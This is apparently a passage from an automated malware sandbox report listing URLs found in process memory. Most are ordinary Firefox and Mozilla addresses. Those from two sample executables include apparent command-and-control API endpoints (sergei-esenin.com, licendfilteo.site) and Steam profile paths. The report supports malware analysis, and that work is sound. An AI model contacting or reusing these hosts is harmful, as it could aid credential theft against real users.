Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsNumber
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000002.3220331573.000002682B803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporterresource://search-extensions/amazondotcom/Wikipedija
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Value
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitStructured
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: ee8d47a049.exe, 0000000C.00000003.2884028726.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.3235554018.000002682E93A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.3244804449.000002682FA2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.3244804449.000002682FA2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3235554018.000002682E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3243296579.000002682F9D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3289963540.00002AA3DFA35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001C.00000002.3220331573.000002682B820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B6AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3201171185.000002681E1D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/DefaultSites.sys.mj
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.3288220208.0000080DC1204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/_beginObservingNewtabPingPrefs/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comnetwork.proxy.backup.socks_portbrowser.urlbar.suggest.topsiteschrome:
Source: ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/4
Source: file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310713522.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310828294.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/;
Source: file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310713522.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310828294.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Q
Source: file.exe, 00000000.00000003.2367688328.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367763600.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/S;.
Source: file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/YPu
Source: file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/a
Source: file.exe, 00000000.00000003.2208508823.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279712308.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.3085730532.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967817966.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967850289.00000000057F4000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993750206.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267704300.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267376515.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279712308.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api$
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993750206.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api9
Source: file.exe, 00000000.00000003.2310781573.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291920296.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api9V
Source: file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279712308.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284961748.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiBg==
Source: file.exe, 00000000.00000003.2310713522.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310781573.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiBg==.
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiEZ
Source: file.exe, 00000000.00000003.2367688328.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367763600.00000000006AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiR
Source: file.exe, 00000000.00000003.2367812607.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310781573.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291920296.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apib
Source: file.exe, 00000000.00000003.2285003028.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279864597.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284983681.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367812607.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310781573.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285534089.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284961748.00000000006A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291920296.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apixo$
Source: file.exe, 00000000.00000003.2367812607.00000000006BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiy
Source: file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/t
Source: ee8d47a049.exe, 0000000C.00000003.2884028726.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apifiles/76561199724331900
Source: ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apil
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgwebcompat-reporter%40mozilla.org:1.5.1
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svgresource://gre/modules/TelemetryStorage.sys.mjs
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/usergetValue/preffedBlockRegions
Source: firefox.exe, 0000001C.00000002.3243296579.000002682F962000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.ca
Source: ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3052863545.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
